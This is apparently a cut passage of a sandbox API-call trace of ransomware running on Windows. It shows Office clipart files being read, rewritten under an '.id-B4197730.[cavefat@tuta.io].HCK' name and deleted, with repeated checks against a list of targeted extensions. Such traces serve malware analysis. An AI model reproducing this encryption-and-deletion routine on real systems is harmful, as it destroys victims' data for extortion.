office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220 [0168.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.694] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.695] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.699] GetLastError () returned 0x0 [0168.699] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xe70, lpOverlapped=0x0) returned 1 [0168.701] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe80, lpOverlapped=0x0) returned 1 [0168.701] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.701] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.701] SetEndOfFile (hFile=0x3ac) returned 1 [0168.705] CloseHandle (hObject=0x3ac) returned 1 [0168.707] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.707] SetEndOfFile (hFile=0x330) returned 1 [0168.714] CloseHandle (hObject=0x330) returned 1 [0168.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0168.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.717] lstrlenW (lpString=".doc") returned 4 [0168.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.717] lstrlenW (lpString=".docx") returned 5 [0168.717] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.717] lstrlenW (lpString=".pdf") returned 4 [0168.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.717] lstrlenW (lpString=".xls") returned 4 [0168.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.717] lstrlenW (lpString=".xlsx") returned 5 [0168.717] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.717] lstrlenW (lpString=".ppt") returned 4 [0168.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.717] lstrlenW (lpString=".zip") returned 4 [0168.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.717] lstrlenW (lpString=".rar") returned 4 [0168.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.717] lstrlenW (lpString=".bz2") returned 4 [0168.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.717] lstrlenW (lpString=".7z") returned 3 [0168.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.718] lstrlenW (lpString=".dbf") returned 4 [0168.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.718] lstrlenW (lpString=".1cd") returned 4 [0168.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.718] lstrlenW (lpString=".jpg") returned 4 [0168.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.718] lstrlenW (lpString=".doc") returned 4 [0168.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString=".docx") returned 5 [0168.718] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.718] lstrlenW (lpString=".pdf") returned 4 [0168.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString=".xls") returned 4 [0168.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.718] lstrlenW (lpString=".xlsx") returned 5 [0168.718] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.718] lstrlenW (lpString=".ppt") returned 4 [0168.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.718] lstrlenW (lpString=".zip") returned 4 [0168.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.718] lstrlenW (lpString=".rar") returned 4 [0168.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString=".bz2") returned 4 [0168.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString=".7z") returned 3 [0168.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.718] lstrlenW (lpString=".dbf") returned 4 [0168.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.718] lstrlenW (lpString=".1cd") returned 4 [0168.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0168.718] lstrlenW (lpString=".jpg") returned 4 [0168.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.718] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.718] lstrlenW (lpString="J0152594.WMF") returned 12 [0168.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.724] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6340) returned 1 [0168.724] CloseHandle (hObject=0x388) returned 1 [0168.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220 [0168.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.742] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.743] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.749] GetLastError () returned 0x0 [0168.749] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x18c4, lpOverlapped=0x0) returned 1 [0168.750] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0168.751] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.752] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.752] SetEndOfFile (hFile=0x360) returned 1 [0168.753] CloseHandle (hObject=0x360) returned 1 [0168.755] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.755] SetEndOfFile (hFile=0x370) returned 1 [0168.757] CloseHandle (hObject=0x370) returned 1 [0168.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0168.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.762] lstrlenW (lpString=".doc") returned 4 [0168.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.762] lstrlenW (lpString=".docx") returned 5 [0168.763] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.763] lstrlenW (lpString=".pdf") returned 4 [0168.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.763] lstrlenW (lpString=".xls") returned 4 [0168.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.763] lstrlenW (lpString=".xlsx") returned 5 [0168.763] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.763] lstrlenW (lpString=".ppt") returned 4 [0168.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.763] lstrlenW (lpString=".zip") returned 4 [0168.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.763] lstrlenW (lpString=".rar") returned 4 [0168.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.763] lstrlenW (lpString=".bz2") returned 4 [0168.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.763] lstrlenW (lpString=".7z") returned 3 [0168.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.763] lstrlenW (lpString=".dbf") returned 4 [0168.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.763] lstrlenW (lpString=".1cd") returned 4 [0168.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.763] lstrlenW (lpString=".jpg") returned 4 [0168.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.763] lstrlenW (lpString=".doc") returned 4 [0168.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.763] lstrlenW (lpString=".docx") returned 5 [0168.763] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.764] lstrlenW (lpString=".pdf") returned 4 [0168.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.764] lstrlenW (lpString=".xls") returned 4 [0168.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.764] lstrlenW (lpString=".xlsx") returned 5 [0168.764] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.764] lstrlenW (lpString=".ppt") returned 4 [0168.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.764] lstrlenW (lpString=".zip") returned 4 [0168.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.764] lstrlenW (lpString=".rar") returned 4 [0168.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.764] lstrlenW (lpString=".bz2") returned 4 [0168.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.764] lstrlenW (lpString=".7z") returned 3 [0168.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.764] lstrlenW (lpString=".dbf") returned 4 [0168.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.764] lstrlenW (lpString=".1cd") returned 4 [0168.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0168.764] lstrlenW (lpString=".jpg") returned 4 [0168.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.764] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.764] lstrlenW (lpString="J0152608.WMF") returned 12 [0168.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.773] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12436) returned 1 [0168.773] CloseHandle (hObject=0x330) returned 1 [0168.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220 [0168.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.783] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.783] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.794] GetLastError () returned 0x0 [0168.794] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3094, lpOverlapped=0x0) returned 1 [0168.796] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x30a0, lpOverlapped=0x0) returned 1 [0168.796] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.796] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.796] SetEndOfFile (hFile=0x308) returned 1 [0168.798] CloseHandle (hObject=0x308) returned 1 [0168.798] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.798] SetEndOfFile (hFile=0x3ac) returned 1 [0168.801] CloseHandle (hObject=0x3ac) returned 1 [0168.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0168.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.804] lstrlenW (lpString=".doc") returned 4 [0168.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.804] lstrlenW (lpString=".docx") returned 5 [0168.804] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.804] lstrlenW (lpString=".pdf") returned 4 [0168.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.804] lstrlenW (lpString=".xls") returned 4 [0168.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.804] lstrlenW (lpString=".xlsx") returned 5 [0168.804] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.804] lstrlenW (lpString=".ppt") returned 4 [0168.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.804] lstrlenW (lpString=".zip") returned 4 [0168.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.804] lstrlenW (lpString=".rar") returned 4 [0168.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.804] lstrlenW (lpString=".bz2") returned 4 [0168.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.804] lstrlenW (lpString=".7z") returned 3 [0168.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.805] lstrlenW (lpString=".dbf") returned 4 [0168.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.805] lstrlenW (lpString=".1cd") returned 4 [0168.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.805] lstrlenW (lpString=".jpg") returned 4 [0168.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.805] lstrlenW (lpString=".doc") returned 4 [0168.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString=".docx") returned 5 [0168.805] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.805] lstrlenW (lpString=".pdf") returned 4 [0168.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString=".xls") returned 4 [0168.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.805] lstrlenW (lpString=".xlsx") returned 5 [0168.805] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.805] lstrlenW (lpString=".ppt") returned 4 [0168.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.805] lstrlenW (lpString=".zip") returned 4 [0168.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.805] lstrlenW (lpString=".rar") returned 4 [0168.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString=".bz2") returned 4 [0168.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString=".7z") returned 3 [0168.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.805] lstrlenW (lpString=".dbf") returned 4 [0168.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.805] lstrlenW (lpString=".1cd") returned 4 [0168.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0168.805] lstrlenW (lpString=".jpg") returned 4 [0168.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.806] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.806] lstrlenW (lpString="J0152628.WMF") returned 12 [0168.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.810] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=30812) returned 1 [0168.810] CloseHandle (hObject=0x3ac) returned 1 [0168.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220 [0168.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 